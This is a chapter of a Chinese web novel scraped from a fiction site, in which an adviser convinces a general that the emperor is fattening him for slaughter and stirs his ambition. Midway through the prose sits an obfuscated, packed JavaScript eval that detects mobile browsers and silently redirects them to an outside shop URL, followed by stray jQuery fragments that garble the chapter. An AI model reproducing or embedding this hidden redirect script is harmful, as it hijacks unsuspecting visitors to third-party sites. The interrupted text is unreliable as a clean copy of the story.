文趣网 > 其他小说 > 天命主角都跪求我别走 > 17. 夜谈
    夜里扎营,高锦偶尔会瞥见,萧长庆独自立在帐外,望着京城的方向,一站就是大半宿。

    越往南走,离那座宫城越近,这铁打的汉子,眼里那点东西,就越藏不住。

    十四年了。他终于,要走到她面前了。

    这天夜里,高锦踱到了他身边。

    他不是来陪将军看月亮的。

    萧长庆满心都是那个女人,却没把京城里等着他的杀机当成一回事。越是这样,高锦越不踏实。一个被爱情牵着鼻子走的甲方,是这盘棋里最容易崩的一环。

    进京之前,他得探一探这位将军的底:除了那点情,他心里到底还藏着多少别的东西,又有几分,是自己使得上的。

    他这匹苦命牛马,得赶紧给种子浇水了。

    “将军在想,进了京,见着她,头一句话说什么?”高锦开口。

    萧长庆没否认,喉头滚了一下:“……我想说,我来迟了。”

    ‘不是吧老大,我就随便找个话题,您还真在想啊?’

    “然后呢?”高锦清了清嗓,“您拿什么接她出来?陛下一道恩旨,还是您空着的这两只手?”

    萧长庆沉默。

    “您一路演忠臣、叩首祈福,演得越像,陛下越是高兴。他会笑着赏您一座金山、一堆虚衔,再客客气气地,把您和她,隔在两道宫墙的两头。”

    高锦盯着将军的侧脸,他在他的眼睛里看不到杀气,只有两潭被细雨淋皱了的深水。

    萧长庆什么都没说。但那双眉眼,全替他招了。

    他在想一个人,想得连仗都不想打了。

    高锦无声地在心底“啧”了下。

    “您当他真会被一个‘忠’字感动,把皇后还给您?将军,他要的不是您的忠心。是您手里的兵,和您这条命。”

    高锦顺势跪在将军面前。

    萧长庆猛地回头,眼里那股暴虐的火焰又窜了起来:“那你要本将军怎样?弑兄、谋逆,坐实那卷天幕?”

    “造反?那是您输得最快的一条路。”高锦摇头,“提刀砍门,正中他下怀,还顺手把天幕那四个字,焊死在您自个儿脑门上。我说的,不是反。”

    萧长庆一怔:“不是反……那是什么?”

    高锦却没急着答。他反倒慢条斯理地问了三句不相干的话。

    “将军,十四年前,您是个什么人?”

    “......戍边罪将的种,一个微末小卒。”萧长庆不知他葫芦里卖什么药,沉声答了。

    “那这十四年,把您从一个微末小卒,一仗一仗、一阶一阶,提成今日这龙骧将军、武将之首的,又是谁?”

    萧长庆一顿:“.....历次北征,点将的旨意,皆出自陛下。”

    “对喽。”高锦笑了,迎上将军的目光,慢慢挑开了这对君臣间隔着的窗户纸:

    “将军,您可曾静下来想过一桩怪事。一个真把您当眼中钉、忌惮您的君王,该做的是把您远远撂到某个边角,让您一辈子烂在那儿。可他偏不。他一道道旨意,把最硬的仗、最重的兵,一趟趟往您怀里塞;眼看着您的名头一年响过一年,响到盖过他自个儿头上,他非但不拦,还推着您往那更高处走。”

    “您当这是恩宠,是赏识?”高锦摇头,声音陡然沉下来,“这世上没有白养的牛。养得越精心、催得越肥,不是疼它。是惦着过年那一刀下去的时候,肉,更多。”

    萧长庆的瞳孔,骤然一缩。

    “一个微末小卒死了,悄没声息,没人记得。”高锦看着他,“可一个万民敬仰、十万兵只认他一人将令的‘战神’倒了,那是要变天的大事。除非,他倒下那一刻,头顶上正好扣着‘反贼’两个字。”

    “没有那卷天幕上的‘反贼’。”他叹了口气,“他也会来收成。您这一身的功、一身的名、那十万只认您将令的兵。桩桩件件,您当是自己挣下的本钱;落在他眼里,不过是替您绑上身、好过年宰杀的,肥膘。”

    其实,高锦是把话说重了说绝了。只有这样,才能让将军的野心彻底醒过来。

    萧长庆如遭雷殛,胸膛剧烈起伏,半晌,才从牙缝里挤出一句几乎走了调的话:“.....你是说。本将军这十四年,拼死拼活.....是替他,养肥了一头.....待宰的牲口?”

    “比这,还要狠上一分。”高锦毫不留情,“您还是自个儿,心甘情愿,往那身肥膘上长的。为着早一日把她接出来,您越拼命,肥得越快。这十四年,您每立一功,都是亲手往自己脖子上多绕一道绳。”

    萧长庆怒目圆睁,欲言又止,一拳砸在桌上。

    “那依先生之见,”他几乎是从喉咙里吼出来的,眼里腾起困兽般的血色,“本将军难道,引颈就戮?!”

    “肥牛要活命,只有一条路。”高锦目光坚定,“长。往死里长。长到他这一刀,再下不去手。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671523|206342||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “长到您这颗头一旦落地,满朝文武、天下万民、那十万披甲的兵,先替您反了他;长到您不再是他案板上、任他剁的一块肉。将军要长成一座,他想搬、搬不动,想绕、绕不开的,山!”

    “到那一步,”高锦顿了顿,眼中精光乍现,“他想杀,杀不动;想拿一道恩旨打发,打发不了。有些东西,不必您伸手去讨,自个儿就回到您手里来了。她,也一样。”

    帐内,落针可闻。

    萧长庆死死盯着高锦,眼中浮过万千思绪,良久,他才哑声开口:

    “先生.....这一层一层的算计,您是怎么看出来的。”

    这一问,比满帐的奉承加起来,都更叫高锦受用。

    ‘怎么看出来的?’他在心里懒洋洋地笑,‘干我这行的,别的不会,就一双眼睛专替人算亏赚。这世上的局,剥到底,桩桩都是买卖。他谈感情谈不来,但谈买卖,在行。’

    面上,他却只松松垮垮地一摊手:“属下天生爱替人算账。算的多了,什么样的杀局,套着什么样的笑脸。一眼就看穿了。”

    萧长庆死死盯着他,胸口起伏了半晌,到底没再说话,只重新转回京城的方向,那背影,绷得像一张拉满的弓。

    高锦退开两步,把酒放在将军手边。

    借着夜色,他又把那道挺直的背影,慢慢打量了一遍。

    ‘这一单的活儿,是助萧长庆得到皇后。’他在心里盘算。‘可这道题的解法,是要把这头认死理的犟牛,一步一步,自己心甘情愿地,挪到那把椅子底下。他离那把椅子越近,我,就离下班越近。’

    正盘算着,他没料到,萧长庆忽然回过头来。

    那双瑞凤眼,在夜色里,亮的和方才不一样了。

    是高锦在等的、也是今晚最想看到的,那种属于一个刚刚看见自己野心轮廓的人,眼里才会有的气势。

    “先生方才说的,”萧长庆仰头灌了口酒,酒顺着下巴淌下来,他也懒得擦,“本将军,记下了。”

    高锦嘴角一扯,重新挂上了那抹没正形的笑,浑身上下那股天不怕地不怕的劲儿又冒了出来。

    “将军言重。”他也喝了口酒,转身回帐。酒是烧的,心事也是烧的,两团火在胸口撞了一下。

    他是执棋人,但脚也早就踩进棋盘里了。

    夜风很大。他没回头,背上钉着的目光和脚下那点说不清的预感,又往下陷了一寸。